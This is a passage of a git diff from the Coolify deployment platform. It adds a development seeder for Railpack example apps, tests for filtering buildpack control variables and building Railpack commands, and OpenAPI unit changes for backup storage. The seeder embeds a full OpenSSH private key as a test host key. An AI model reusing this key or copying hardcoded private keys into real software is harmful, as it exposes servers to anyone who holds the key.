'Railpack Express.js Example', + 'base_directory' => '/node/expressjs', + 'ports_exposes' => '3000', + 'start_command' => 'npm run start', + ], + [ + 'uuid' => 'railpack-fastify', + 'name' => 'Railpack Fastify Example', + 'base_directory' => '/node/fastify', + 'ports_exposes' => '3000', + 'start_command' => 'npm run start', + ], + [ + 'uuid' => 'railpack-nestjs', + 'name' => 'Railpack NestJS Example', + 'base_directory' => '/node/nestjs', + 'ports_exposes' => '3000', + 'build_command' => 'npm run build', + 'start_command' => 'npm run start:prod', + ], + [ + 'uuid' => 'railpack-adonisjs', + 'name' => 'Railpack AdonisJS Example', + 'base_directory' => '/node/adonisjs', + 'ports_exposes' => '3333', + 'build_command' => 'npm run build', + 'start_command' => 'npm run start', + ], + [ + 'uuid' => 'railpack-hono', + 'name' => 'Railpack Hono Example', + 'base_directory' => '/node/hono', + 'ports_exposes' => '3000', + 'build_command' => 'npm run build', + 'start_command' => 'npm run start', + ], + [ + 'uuid' => 'railpack-koa', + 'name' => 'Railpack Koa Example', + 'base_directory' => '/node/koa', + 'ports_exposes' => '3000', + 'start_command' => 'npm run start', + ], + [ + 'uuid' => 'railpack-nextjs-ssr', + 'name' => 'Railpack Next.js SSR Example', + 'base_directory' => '/node/nextjs/ssr', + 'ports_exposes' => '3000', + 'build_command' => 'npm run build', + 'start_command' => 'npm run start', + ], + [ + 'uuid' => 'railpack-nuxtjs-ssr', + 'name' => 'Railpack NuxtJS SSR Example', + 'base_directory' => '/node/nuxtjs/ssr', + 'ports_exposes' => '3000', + 'build_command' => 'npm run build', + 'start_command' => 'npm run preview -- --host 0.0.0.0 --port 3000', + ], + [ + 'uuid' => 'railpack-astro-ssr', + 'name' => 'Railpack Astro SSR Example', + 'base_directory' => '/node/astro/ssr', + 'ports_exposes' => '4321', + 'build_command' => 'npm run build', + 'start_command' => 'npm run start', + ], + [ + 'uuid' => 'railpack-sveltekit-ssr', + 'name' => 'Railpack SvelteKit SSR Example', + 'base_directory' => '/node/sveltekit/ssr', + 'ports_exposes' => '3000', + 'build_command' => 'npm run build', + 'start_command' => 'npm run start', + ], + [ + 'uuid' => 'railpack-tanstack-start-ssr', + 'name' => 'Railpack TanStack Start SSR Example', + 'base_directory' => '/node/tanstack-start/ssr', + 'ports_exposes' => '3000', + 'build_command' => 'npm run build', + 'start_command' => 'npm run start', + ], + [ + 'uuid' => 'railpack-angular-ssr', + 'name' => 'Railpack Angular SSR Example', + 'base_directory' => '/node/angular/ssr', + 'ports_exposes' => '4000', + 'build_command' => 'npm run build', + 'start_command' => 'npm run start', + ], + [ + 'uuid' => 'railpack-vue-ssr', + 'name' => 'Railpack Vue SSR Example', + 'base_directory' => '/node/vue/ssr', + 'ports_exposes' => '3000', + 'build_command' => 'npm run build', + 'start_command' => 'npm run start', + ], + [ + 'uuid' => 'railpack-qwik-ssr', + 'name' => 'Railpack Qwik SSR Example', + 'base_directory' => '/node/qwik/ssr', + 'ports_exposes' => '3000', + 'build_command' => 'npm run build', + 'start_command' => 'npm run serve', + ], + [ + 'uuid' => 'railpack-react-static', + 'name' => 'Railpack React Static Example', + 'base_directory' => '/node/react', + 'ports_exposes' => '80', + 'build_command' => 'npm run build', + 'publish_directory' => '/dist', + 'is_static' => true, + 'is_spa' => true, + ], + [ + 'uuid' => 'railpack-vite-static', + 'name' => 'Railpack Vite Static Example', + 'base_directory' => '/node/vite', + 'ports_exposes' => '80', + 'build_command' => 'npm run build', + 'publish_directory' => '/dist', + 'is_static' => true, + 'is_spa' => true, + ], + [ + 'uuid' => 'railpack-eleventy-static', + 'name' => 'Railpack Eleventy Static Example', + 'base_directory' => '/node/eleventy', + 'ports_exposes' => '80', + 'build_command' => 'npm run build', + 'publish_directory' => '/_site', + 'is_static' => true, + ], + [ + 'uuid' => 'railpack-gatsby-static', + 'name' => 'Railpack Gatsby Static Example', + 'base_directory' => '/node/gatsby', + 'ports_exposes' => '80', + 'build_command' => 'npm run build', + 'publish_directory' => '/public', + 'is_static' => true, + ], + [ + 'uuid' => 'railpack-nextjs-static', + 'name' => 'Railpack Next.js Static Example', + 'base_directory' => '/node/nextjs/static', + 'ports_exposes' => '80', + 'build_command' => 'npm run build', + 'publish_directory' => '/out', + 'is_static' => true, + 'is_spa' => true, + ], + [ + 'uuid' => 'railpack-nuxtjs-static', + 'name' => 'Railpack NuxtJS Static Example', + 'base_directory' => '/node/nuxtjs/static', + 'ports_exposes' => '80', + 'build_command' => 'npm run build', + 'publish_directory' => '/.output/public', + 'is_static' => true, + 'is_spa' => true, + ], + [ + 'uuid' => 'railpack-astro-static', + 'name' => 'Railpack Astro Static Example', + 'base_directory' => '/node/astro/static', + 'ports_exposes' => '80', + 'build_command' => 'npm run build', + 'publish_directory' => '/dist', + 'is_static' => true, + ], + [ + 'uuid' => 'railpack-sveltekit-static', + 'name' => 'Railpack SvelteKit Static Example', + 'base_directory' => '/node/sveltekit/static', + 'ports_exposes' => '80', + 'build_command' => 'npm run build', + 'publish_directory' => '/build', + 'is_static' => true, + 'is_spa' => true, + ], + [ + 'uuid' => 'railpack-tanstack-start-static', + 'name' => 'Railpack TanStack Start Static Example', + 'base_directory' => '/node/tanstack-start/static', + 'ports_exposes' => '80', + 'build_command' => 'npm run build', + 'publish_directory' => '/.output/public', + 'is_static' => true, + 'is_spa' => true, + ], + [ + 'uuid' => 'railpack-angular-static', + 'name' => 'Railpack Angular Static Example', + 'base_directory' => '/node/angular/static', + 'ports_exposes' => '80', + 'build_command' => 'npm run build', + 'publish_directory' => '/dist/static/browser', + 'is_static' => true, + 'is_spa' => true, + ], + [ + 'uuid' => 'railpack-vue-static', + 'name' => 'Railpack Vue Static Example', + 'base_directory' => '/node/vue/static', + 'ports_exposes' => '80', + 'build_command' => 'npm run build', + 'publish_directory' => '/dist', + 'is_static' => true, + 'is_spa' => true, + ], + [ + 'uuid' => 'railpack-qwik-static', + 'name' => 'Railpack Qwik Static Example', + 'base_directory' => '/node/qwik/static', + 'ports_exposes' => '80', + 'build_command' => 'npm run build', + 'publish_directory' => '/dist', + 'is_static' => true, + 'is_spa' => true, + ], + ]; + } + + private function ensureDevelopmentPrerequisitesExist(): void + { + Team::query()->firstOrCreate( + ['id' => 0], + [ + 'name' => 'Root Team', + 'description' => 'The root team', + 'personal_team' => true, + ], + ); + + PrivateKey::query()->firstOrCreate( + ['id' => 1], + [ + 'uuid' => 'ssh', + 'team_id' => 0, + 'name' => 'Testing Host Key', + 'description' => 'This is a test docker container', + 'private_key' => <<<'KEY' +-----BEGIN OPENSSH PRIVATE KEY----- +b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW +QyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevAAAAJi/QySHv0Mk +hwAAAAtzc2gtZWQyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevA +AAAECBQw4jg1WRT2IGHMncCiZhURCts2s24HoDS0thHnnRKVuGmoeGq/pojrsyP1pszcNV +uZx9iFkCELtxrh31QJ68AAAAEXNhaWxANzZmZjY2ZDJlMmRkAQIDBA== +-----END OPENSSH PRIVATE KEY----- +KEY, + ], + ); + + Server::query()->firstOrCreate( + ['id' => 0], + [ + 'uuid' => 'localhost', + 'name' => 'localhost', + 'description' => 'This is a test docker container in development mode', + 'ip' => 'coolify-testing-host', + 'team_id' => 0, + 'private_key_id' => 1, + 'proxy' => [ + 'type' => ProxyTypes::TRAEFIK->value, + 'status' => ProxyStatus::EXITED->value, + ], + ], + ); + + StandaloneDocker::query()->firstOrCreate( + ['id' => 0], + [ + 'uuid' => 'docker', + 'name' => 'Standalone Docker 1', + 'network' => 'coolify', + 'server_id' => 0, + ], + ); + + $this->ensurePublicGithubSourceExists(); + } + + private function ensurePublicGithubSourceExists(): void + { + GithubApp::query()->firstOrCreate( + ['id' => 0], + [ + 'uuid' => 'github-public', + 'name' => 'Public GitHub', + 'api_url' => 'https://api.github.com', + 'html_url' => 'https://github.com', + 'is_public' => true, + 'team_id' => 0, + ], + ); + } + + private function isDevelopmentEnvironment(): bool + { + return in_array(config('app.env'), ['local', 'development', 'dev'], true); + } + + private function prepareEnvironment(): Environment + { + $project = Project::query()->firstOrNew(['uuid' => self::PROJECT_UUID]); + $project->fill([ + 'name' => 'Railpack Examples', + 'description' => 'Development-only Railpack examples from coollabsio/coolify-examples@next.', + 'team_id' => 0, + ]); + $project->save(); + + $environment = $project->environments()->first(); + + if (! $environment) { + $environment = $project->environments()->create([ + 'name' => 'production', + 'uuid' => self::ENVIRONMENT_UUID, + ]); + } else { + $environment->update([ + 'name' => 'production', + 'uuid' => self::ENVIRONMENT_UUID, + ]); + } + + return $environment; + } + + /** + * @param array $example + */ + private function upsertApplication(Environment $environment, StandaloneDocker $destination, array $example): void + { + $application = Application::withTrashed()->firstOrNew(['uuid' => $example['uuid']]); + $application->fill([ + 'name' => $example['name'], + 'description' => $example['name'], + 'fqdn' => "http://{$example['uuid']}.127.0.0.1.sslip.io", + 'repository_project_id' => self::REPOSITORY_PROJECT_ID, + 'git_repository' => self::GIT_REPOSITORY, + 'git_branch' => self::GIT_BRANCH, + 'build_pack' => 'railpack', + 'ports_exposes' => $example['ports_exposes'], + 'base_directory' => $example['base_directory'], + 'publish_directory' => $example['publish_directory'] ?? null, + 'static_image' => 'nginx:alpine', + 'install_command' => $example['install_command'] ?? null, + 'build_command' => $example['build_command'] ?? null, + 'start_command' => $example['start_command'] ?? null, + 'environment_id' => $environment->id, + 'destination_id' => $destination->id, + 'destination_type' => StandaloneDocker::class, + 'source_id' => 0, + 'source_type' => GithubApp::class, + ]); + $application->save(); + + if ($application->trashed()) { + $application->restore(); + } + + $application->settings()->updateOrCreate( + ['application_id' => $application->id], + [ + 'is_static' => $example['is_static'] ?? false, + 'is_spa' => $example['is_spa'] ?? false, + ], + ); + } +} diff --git a/docker/coolify-helper/Dockerfile b/docker/coolify-helper/Dockerfile index 1b95efe6c..35798000b 100644 --- a/docker/coolify-helper/Dockerfile +++ b/docker/coolify-helper/Dockerfile @@ -34,6 +34,8 @@ ARG MISE_VERSION USER root WORKDIR /artifacts +ENV RAILPACK_VERSION=${RAILPACK_VERSION} +ENV RAILPACK_FRONTEND_IMAGE=ghcr.io/railwayapp/railpack-frontend:v${RAILPACK_VERSION} RUN apk upgrade --no-cache && \ apk add --no-cache bash curl git git-lfs openssh-client tar tini RUN mkdir -p ~/.docker/cli-plugins diff --git a/openapi.json b/openapi.json index d8557e607..453289970 100644 --- a/openapi.json +++ b/openapi.json @@ -4386,8 +4386,8 @@ "description": "Number of days to retain backups locally" }, "database_backup_retention_max_storage_locally": { - "type": "integer", - "description": "Max storage (MB) for local backups" + "type": "number", + "description": "Max storage (GB) for local backups" }, "database_backup_retention_amount_s3": { "type": "integer", @@ -4398,8 +4398,8 @@ "description": "Number of days to retain backups in S3" }, "database_backup_retention_max_storage_s3": { - "type": "integer", - "description": "Max storage (MB) for S3 backups" + "type": "number", + "description": "Max storage (GB) for S3 backups" }, "timeout": { "type": "integer", @@ -4956,7 +4956,7 @@ "description": "Retention days of the backup locally" }, "database_backup_retention_max_storage_locally": { - "type": "integer", + "type": "number", "description": "Max storage of the backup locally" }, "database_backup_retention_amount_s3": { @@ -4968,7 +4968,7 @@ "description": "Retention days of the backup in s3" }, "database_backup_retention_max_storage_s3": { - "type": "integer", + "type": "number", "description": "Max storage of the backup in S3" }, "timeout": { diff --git a/openapi.yaml b/openapi.yaml index df2515b06..a3844bb18 100644 --- a/openapi.yaml +++ b/openapi.yaml @@ -2765,8 +2765,8 @@ paths: type: integer description: 'Number of days to retain backups locally' database_backup_retention_max_storage_locally: - type: integer - description: 'Max storage (MB) for local backups' + type: number + description: 'Max storage (GB) for local backups' database_backup_retention_amount_s3: type: integer description: 'Number of backups to retain in S3' @@ -2774,8 +2774,8 @@ paths: type: integer description: 'Number of days to retain backups in S3' database_backup_retention_max_storage_s3: - type: integer - description: 'Max storage (MB) for S3 backups' + type: number + description: 'Max storage (GB) for S3 backups' timeout: type: integer description: 'Backup job timeout in seconds (min: 60, max: 36000)' @@ -3160,7 +3160,7 @@ paths: type: integer description: 'Retention days of the backup locally' database_backup_retention_max_storage_locally: - type: integer + type: number description: 'Max storage of the backup locally' database_backup_retention_amount_s3: type: integer @@ -3169,7 +3169,7 @@ paths: type: integer description: 'Retention days of the backup in s3' database_backup_retention_max_storage_s3: - type: integer + type: number description: 'Max storage of the backup in S3' timeout: type: integer diff --git a/tests/Feature/ApplicationDeploymentControlVarFilteringTest.php b/tests/Feature/ApplicationDeploymentControlVarFilteringTest.php new file mode 100644 index 000000000..0fa4af749 --- /dev/null +++ b/tests/Feature/ApplicationDeploymentControlVarFilteringTest.php @@ -0,0 +1,287 @@ +recordedCommands[] = $commands; + + foreach ($commands as $command) { + $commandString = is_array($command) ? ($command['command'] ?? $command[0] ?? null) : $command; + + if (! is_string($commandString)) { + continue; + } + + if (preg_match('/echo .*?([A-Za-z0-9+\\/=]{16,}).*?\\| base64 -d \\| tee \\/artifacts\\/test-app\\/Dockerfile > \\/dev\\/null/', $commandString, $matches) === 1) { + $this->writtenDockerfile = base64_decode($matches[1]) ?: null; + } + } + } +} + +function makeDeploymentControlVarFixture(array $applicationAttributes = []): array +{ + $team = Team::create([ + 'name' => 'Control Var Team', + 'description' => 'Team for deployment control var tests.', + 'personal_team' => false, + 'show_boarding' => false, + ]); + $project = Project::create([ + 'name' => 'Control Var Project', + 'team_id' => $team->id, + ]); + $environment = Environment::where('project_id', $project->id)->firstOrFail(); + $server = Server::factory()->create([ + 'team_id' => $team->id, + ]); + + $application = Application::factory()->create([ + 'environment_id' => $environment->id, + 'build_pack' => 'dockerfile', + ...$applicationAttributes, + ]); + + $application->settings()->update([ + 'inject_build_args_to_dockerfile' => true, + 'include_source_commit_in_build' => false, + 'is_env_sorting_enabled' => false, + ]); + + return [$application->fresh(), $server]; +} + +function createApplicationEnvironmentVariable(Application $application, array $attributes): EnvironmentVariable +{ + return EnvironmentVariable::create([ + 'resourceable_type' => Application::class, + 'resourceable_id' => $application->id, + 'is_preview' => false, + 'is_runtime' => true, + 'is_buildtime' => true, + 'is_multiline' => false, + 'is_literal' => false, + ...$attributes, + ]); +} + +function makeControlVarFilteringJob(Application $application, Server $server, array $overrides = []): array +{ + $job = new TestableControlVarFilteringDeploymentJob; + $reflection = new ReflectionClass(ApplicationDeploymentJob::class); + + $queue = Mockery::mock(ApplicationDeploymentQueue::class); + $queue->shouldReceive('addLogEntry')->andReturnNull(); + + $properties = [ + 'application' => $application->fresh(), + 'application_deployment_queue' => $queue, + 'build_pack' => $application->build_pack, + 'mainServer' => $server, + 'pull_request_id' => 0, + 'commit' => 'HEAD', + 'workdir' => '/artifacts/test-app', + 'deployment_uuid' => 'deployment-uuid', + 'dockerfile_location' => '/Dockerfile', + 'container_name' => 'control-var-app', + 'coolify_variables' => null, + 'dockerSecretsSupported' => false, + ]; + + $mergedProperties = array_merge($properties, $overrides); + $mergedProperties['saved_outputs'] = new Collection($overrides['saved_outputs'] ?? []); + + if (($mergedProperties['pull_request_id'] ?? 0) !== 0 && ! array_key_exists('preview', $mergedProperties)) { + $mergedProperties['preview'] = ApplicationPreview::create([ + 'application_id' => $application->id, + 'pull_request_id' => $mergedProperties['pull_request_id'], + 'pull_request_html_url' => 'https://example.com/pr/'.$mergedProperties['pull_request_id'], + 'fqdn' => 'https://preview.example.com', + ]); + } + + foreach ($mergedProperties as $property => $value) { + $reflectionProperty = $reflection->getProperty($property); + $reflectionProperty->setAccessible(true); + $reflectionProperty->setValue($job, $value); + } + + return [$job, $reflection]; +} + +function invokeDeploymentJobMethod(object $job, ReflectionClass $reflection, string $method): mixed +{ + $reflectionMethod = $reflection->getMethod($method); + $reflectionMethod->setAccessible(true); + + return $reflectionMethod->invoke($job); +} + +function readDeploymentJobProperty(object $job, ReflectionClass $reflection, string $property): mixed +{ + $reflectionProperty = $reflection->getProperty($property); + $reflectionProperty->setAccessible(true); + + return $reflectionProperty->getValue($job); +} + +it('filters buildpack control vars from generic build args', function () { + [$application, $server] = makeDeploymentControlVarFixture(); + + createApplicationEnvironmentVariable($application, [ + 'key' => 'APP_ENV', + 'value' => 'production', + ]); + createApplicationEnvironmentVariable($application, [ + 'key' => 'NIXPACKS_NODE_VERSION', + 'value' => '22', + ]); + createApplicationEnvironmentVariable($application, [ + 'key' => 'RAILPACK_NODE_VERSION', + 'value' => '20', + ]); + + [$job, $reflection] = makeControlVarFilteringJob($application, $server); + + invokeDeploymentJobMethod($job, $reflection, 'generate_env_variables'); + + /** @var Collection $envArgs */ + $envArgs = readDeploymentJobProperty($job, $reflection, 'env_args'); + + expect($envArgs->get('APP_ENV'))->toBe('production'); + expect($envArgs->has('NIXPACKS_NODE_VERSION'))->toBeFalse(); + expect($envArgs->has('RAILPACK_NODE_VERSION'))->toBeFalse(); +}); + +it('filters buildpack control vars from preview build-time env files', function () { + [$application, $server] = makeDeploymentControlVarFixture(); + + createApplicationEnvironmentVariable($application, [ + 'key' => 'APP_ENV', + 'value' => 'production', + 'is_preview' => true, + ]); + createApplicationEnvironmentVariable($application, [ + 'key' => 'NIXPACKS_NODE_VERSION', + 'value' => '22', + 'is_preview' => true, + ]); + createApplicationEnvironmentVariable($application, [ + 'key' => 'RAILPACK_NODE_VERSION', + 'value' => '20', + 'is_preview' => true, + ]); + + [$job, $reflection] = makeControlVarFilteringJob($application, $server, [ + 'pull_request_id' => 42, + ]); + + /** @var Collection $buildtimeEnvs */ + $buildtimeEnvs = invokeDeploymentJobMethod($job, $reflection, 'generate_buildtime_environment_variables'); + + expect($buildtimeEnvs->contains(fn (string $env) => str($env)->startsWith('APP_ENV=')))->toBeTrue(); + expect($buildtimeEnvs->contains(fn (string $env) => str($env)->startsWith('NIXPACKS_NODE_VERSION=')))->toBeFalse(); + expect($buildtimeEnvs->contains(fn (string $env) => str($env)->startsWith('RAILPACK_NODE_VERSION=')))->toBeFalse(); +}); + +it('filters buildpack control vars from preview runtime env fallback', function () { + [$application, $server] = makeDeploymentControlVarFixture(); + + createApplicationEnvironmentVariable($application, [ + 'key' => 'APP_NAME', + 'value' => 'coolify', + 'is_runtime' => true, + 'is_buildtime' => false, + ]); + createApplicationEnvironmentVariable($application, [ + 'key' => 'NIXPACKS_NODE_VERSION', + 'value' => '22', + 'is_runtime' => true, + 'is_buildtime' => false, + ]); + createApplicationEnvironmentVariable($application, [ + 'key' => 'RAILPACK_NODE_VERSION', + 'value' => '20', + 'is_runtime' => true, + 'is_buildtime' => false, + ]); + createApplicationEnvironmentVariable($application, [ + 'key' => 'PREVIEW_FLAG', + 'value' => 'enabled', + 'is_preview' => true, + 'is_runtime' => true, + 'is_buildtime' => false, + ]); + + $application->environment_variables_preview() + ->whereIn('key', ['APP_NAME', 'NIXPACKS_NODE_VERSION', 'RAILPACK_NODE_VERSION']) + ->delete(); + + [$job, $reflection] = makeControlVarFilteringJob($application, $server, [ + 'pull_request_id' => 99, + ]); + + /** @var Collection $runtimeEnvs */ + $runtimeEnvs = invokeDeploymentJobMethod($job, $reflection, 'generate_runtime_environment_variables'); + + expect($runtimeEnvs->contains(fn (string $env) => str($env)->startsWith('APP_NAME=')))->toBeTrue(); + expect($runtimeEnvs->contains(fn (string $env) => str($env)->startsWith('PREVIEW_FLAG=')))->toBeTrue(); + expect($runtimeEnvs->contains(fn (string $env) => str($env)->startsWith('NIXPACKS_NODE_VERSION=')))->toBeFalse(); + expect($runtimeEnvs->contains(fn (string $env) => str($env)->startsWith('RAILPACK_NODE_VERSION=')))->toBeFalse(); +}); + +it('filters buildpack control vars from dockerfile arg injection', function () { + [$application, $server] = makeDeploymentControlVarFixture(); + + createApplicationEnvironmentVariable($application, [ + 'key' => 'APP_ENV', + 'value' => 'production', + 'is_runtime' => false, + 'is_buildtime' => true, + ]); + createApplicationEnvironmentVariable($application, [ + 'key' => 'NIXPACKS_NODE_VERSION', + 'value' => '22', + 'is_runtime' => false, + 'is_buildtime' => true, + ]); + createApplicationEnvironmentVariable($application, [ + 'key' => 'RAILPACK_NODE_VERSION', + 'value' => '20', + 'is_runtime' => false, + 'is_buildtime' => true, + ]); + + [$job, $reflection] = makeControlVarFilteringJob($application, $server, [ + 'saved_outputs' => [ + 'dockerfile' => "FROM php:8.4-cli\nRUN php -v", + ], + ]); + + invokeDeploymentJobMethod($job, $reflection, 'add_build_env_variables_to_dockerfile'); + + expect($job->writtenDockerfile)->toContain('ARG APP_ENV=production'); + expect($job->writtenDockerfile)->not->toContain('ARG NIXPACKS_NODE_VERSION='); + expect($job->writtenDockerfile)->not->toContain('ARG RAILPACK_NODE_VERSION='); +}); diff --git a/tests/Feature/DevelopmentRailpackExamplesSeederTest.php b/tests/Feature/DevelopmentRailpackExamplesSeederTest.php new file mode 100644 index 000000000..2f224fda7 --- /dev/null +++ b/tests/Feature/DevelopmentRailpackExamplesSeederTest.php @@ -0,0 +1,121 @@ +seed([ + UserSeeder::class, + TeamSeeder::class, + PrivateKeySeeder::class, + ServerSeeder::class, + ProjectSeeder::class, + StandaloneDockerSeeder::class, + GithubAppSeeder::class, + ]); +} + +it('can seed the railpack examples directly on a clean development database', function () { + config()->set('app.env', 'local'); + + $this->seed(DevelopmentRailpackExamplesSeeder::class); + + expect(Team::query()->find(0))->not->toBeNull(); + expect(PrivateKey::query()->find(1))->not->toBeNull(); + expect(Server::query()->find(0))->not->toBeNull(); + expect(StandaloneDocker::query()->find(0))->not->toBeNull(); + expect(GithubApp::query()->find(0))->not->toBeNull(); + expect(Project::query()->where('uuid', DevelopmentRailpackExamplesSeeder::PROJECT_UUID)->exists())->toBeTrue(); + expect(Application::query()->count())->toBe(count(DevelopmentRailpackExamplesSeeder::examples())); +}); + +it('seeds the railpack examples in development mode', function () { + config()->set('app.env', 'local'); + + seedRailpackExamplePrerequisites(); + $this->seed(DevelopmentRailpackExamplesSeeder::class); + + $project = Project::query() + ->where('uuid', DevelopmentRailpackExamplesSeeder::PROJECT_UUID) + ->first(); + + expect($project) + ->not->toBeNull() + ->and($project->name)->toBe('Railpack Examples') + ->and($project->environments)->toHaveCount(1) + ->and($project->environments->first()->uuid)->toBe(DevelopmentRailpackExamplesSeeder::ENVIRONMENT_UUID); + + $applications = $project->applications()->with('settings')->orderBy('uuid')->get(); + + expect($applications)->toHaveCount(count(DevelopmentRailpackExamplesSeeder::examples())); + expect($applications->every(fn (Application $application) => $application->build_pack === 'railpack'))->toBeTrue(); + expect($applications->every(fn (Application $application) => $application->git_repository === DevelopmentRailpackExamplesSeeder::GIT_REPOSITORY))->toBeTrue(); + expect($applications->every(fn (Application $application) => $application->git_branch === DevelopmentRailpackExamplesSeeder::GIT_BRANCH))->toBeTrue(); + + $nestjs = $applications->firstWhere('uuid', 'railpack-nestjs'); + $angularStatic = $applications->firstWhere('uuid', 'railpack-angular-static'); + $eleventyStatic = $applications->firstWhere('uuid', 'railpack-eleventy-static'); + + expect($nestjs) + ->not->toBeNull() + ->and($nestjs->base_directory)->toBe('/node/nestjs') + ->and($nestjs->ports_exposes)->toBe('3000') + ->and($nestjs->build_command)->toBe('npm run build') + ->and($nestjs->start_command)->toBe('npm run start:prod') + ->and($nestjs->settings->is_static)->toBeFalse(); + + expect($angularStatic) + ->not->toBeNull() + ->and($angularStatic->publish_directory)->toBe('/dist/static/browser') + ->and($angularStatic->ports_exposes)->toBe('80') + ->and($angularStatic->settings->is_static)->toBeTrue() + ->and($angularStatic->settings->is_spa)->toBeTrue(); + + expect($eleventyStatic) + ->not->toBeNull() + ->and($eleventyStatic->publish_directory)->toBe('/_site') + ->and($eleventyStatic->settings->is_static)->toBeTrue() + ->and($eleventyStatic->settings->is_spa)->toBeFalse(); +}); + +it('skips the railpack examples outside development mode', function () { + config()->set('app.env', 'testing'); + + seedRailpackExamplePrerequisites(); + $this->seed(DevelopmentRailpackExamplesSeeder::class); + + expect(Project::query()->where('uuid', DevelopmentRailpackExamplesSeeder::PROJECT_UUID)->exists())->toBeFalse(); + expect(Application::query()->where('uuid', 'railpack-nextjs-ssr')->exists())->toBeFalse(); +}); + +it('is idempotent when run multiple times', function () { + config()->set('app.env', 'local'); + + seedRailpackExamplePrerequisites(); + $this->seed(DevelopmentRailpackExamplesSeeder::class); + $this->seed(DevelopmentRailpackExamplesSeeder::class); + + $project = Project::query() + ->where('uuid', DevelopmentRailpackExamplesSeeder::PROJECT_UUID) + ->first(); + + expect($project)->not->toBeNull(); + expect($project->applications()->count())->toBe(count(DevelopmentRailpackExamplesSeeder::examples())); +}); diff --git a/tests/Unit/ApplicationDeploymentRailpackConfigTest.php b/tests/Unit/ApplicationDeploymentRailpackConfigTest.php index 63ad618ae..e3516268c 100644 --- a/tests/Unit/ApplicationDeploymentRailpackConfigTest.php +++ b/tests/Unit/ApplicationDeploymentRailpackConfigTest.php @@ -30,6 +30,9 @@ function makeRailpackDeploymentJob(array $applicationAttributes = [], array $sav 'deployment_uuid' => 'deployment-uuid', 'saved_outputs' => new Collection($savedOutputs), 'env_railpack_args' => "--env 'RAILPACK_NODE_VERSION=22'", + 'force_rebuild' => false, + 'addHosts' => '', + 'secrets_hash_key' => 'testing-app-key', ] as $property => $value) { $reflectionProperty = $reflection->getProperty($property); $reflectionProperty->setAccessible(true); @@ -175,6 +178,9 @@ function invokeRailpackMethod(object $job, ReflectionClass $reflection, string $ 'start_command' => 'node server.js', ], ); + $envRailpackArgsProperty = $reflection->getProperty('env_railpack_args'); + $envRailpackArgsProperty->setAccessible(true); + $envRailpackArgsProperty->setValue($job, "--env 'RAILPACK_NODE_VERSION=22' --env 'RAILPACK_INSTALL_CMD=npm ci'"); $command = invokeRailpackMethod( $job, @@ -184,8 +190,8 @@ function invokeRailpackMethod(object $job, ReflectionClass $reflection, string $ ); expect($command)->toContain('railpack prepare'); - expect($command)->toContain('--env '.escapeshellarg('RAILPACK_INSTALL_CMD=npm ci')); expect($command)->toContain("--env 'RAILPACK_NODE_VERSION=22'"); + expect($command)->toContain("--env 'RAILPACK_INSTALL_CMD=npm ci'"); expect($command)->toContain('--build-cmd '.escapeshellarg('npm run build')); expect($command)->toContain('--start-cmd '.escapeshellarg('node server.js')); expect($command)->toContain('--config-file '.escapeshellarg('.coolify/railpack.generated.json')); @@ -195,3 +201,32 @@ function invokeRailpackMethod(object $job, ReflectionClass $reflection, string $ expect($command)->not->toContain('RAILPACK_BUILD_CMD='); expect($command)->not->toContain('RAILPACK_START_CMD='); }); + +it('builds railpack docker command with matching env and secret flags for all railpack variables', function () { + [$job, $reflection] = makeRailpackDeploymentJob([ + 'uuid' => 'application-uuid', + ]); + + $command = invokeRailpackMethod( + $job, + $reflection, + 'railpack_build_command', + [ + 'coollabsio/coolify:test', + collect([ + 'RAILPACK_NODE_VERSION' => '22', + 'RAILPACK_INSTALL_CMD' => 'npm ci && npm run postinstall', + 'SECRET_JSON' => '{"token":"abc"}', + ]), + ], + ); + + expect($command)->toContain("env RAILPACK_NODE_VERSION='22'"); + expect($command)->toContain("RAILPACK_INSTALL_CMD='npm ci && npm run postinstall'"); + expect($command)->toContain("SECRET_JSON='{\"token\":\"abc\"}'"); + expect($command)->toContain('--secret id=RAILPACK_NODE_VERSION,env=RAILPACK_NODE_VERSION'); + expect($command)->toContain('--secret id=RAILPACK_INSTALL_CMD,env=RAILPACK_INSTALL_CMD'); + expect($command)->toContain('--secret id=SECRET_JSON,env=SECRET_JSON'); + expect($command)->toContain(' --build-arg secrets-hash='); + expect($command)->toContain('--build-arg BUILDKIT_SYNTAX="${RAILPACK_FRONTEND_IMAGE}"'); +}); diff --git a/tests/Unit/ApplicationDeploymentRailpackEnvParityTest.php b/tests/Unit/ApplicationDeploymentRailpackEnvParityTest.php new file mode 100644 index 000000000..8ed7b2c41 --- /dev/null +++ b/tests/Unit/ApplicationDeploymentRailpackEnvParityTest.php @@ -0,0 +1,124 @@ +shouldReceive('getAttribute')->with('install_command')->andReturn('npm ci && npm run postinstall'); + + $nodeVersion = Mockery::mock(EnvironmentVariable::class)->makePartial(); + $nodeVersion->forceFill([ + 'key' => 'RAILPACK_NODE_VERSION', + 'is_literal' => false, + 'is_multiline' => false, + ]); + $nodeVersion->shouldReceive('getResolvedValueWithServer')->once()->with(Mockery::type(Server::class))->andReturn('22'); + + $literalValue = Mockery::mock(EnvironmentVariable::class)->makePartial(); + $literalValue->forceFill([ + 'key' => 'RAILPACK_CUSTOM_FLAG', + 'is_literal' => true, + 'is_multiline' => false, + ]); + $literalValue->shouldReceive('getResolvedValueWithServer')->once()->with(Mockery::type(Server::class))->andReturn("'hello world'"); + + $jsonValue = Mockery::mock(EnvironmentVariable::class)->makePartial(); + $jsonValue->forceFill([ + 'key' => 'RAILPACK_JSON', + 'is_literal' => false, + 'is_multiline' => false, + ]); + $jsonValue->shouldReceive('getResolvedValueWithServer')->once()->with(Mockery::type(Server::class))->andReturn('{"token":"abc"}'); + + $nullValue = Mockery::mock(EnvironmentVariable::class)->makePartial(); + $nullValue->forceFill([ + 'key' => 'RAILPACK_NULL', + 'is_literal' => false, + 'is_multiline' => false, + ]); + $nullValue->shouldReceive('getResolvedValueWithServer')->once()->with(Mockery::type(Server::class))->andReturn(null); + + $application->shouldReceive('getAttribute') + ->with('railpack_environment_variables') + ->andReturn(collect([$nodeVersion, $literalValue, $jsonValue, $nullValue])); + + $job = Mockery::mock(ApplicationDeploymentJob::class)->makePartial(); + $job->shouldAllowMockingProtectedMethods(); + + $reflection = new ReflectionClass(ApplicationDeploymentJob::class); + $applicationProperty = $reflection->getProperty('application'); + $applicationProperty->setAccessible(true); + $applicationProperty->setValue($job, 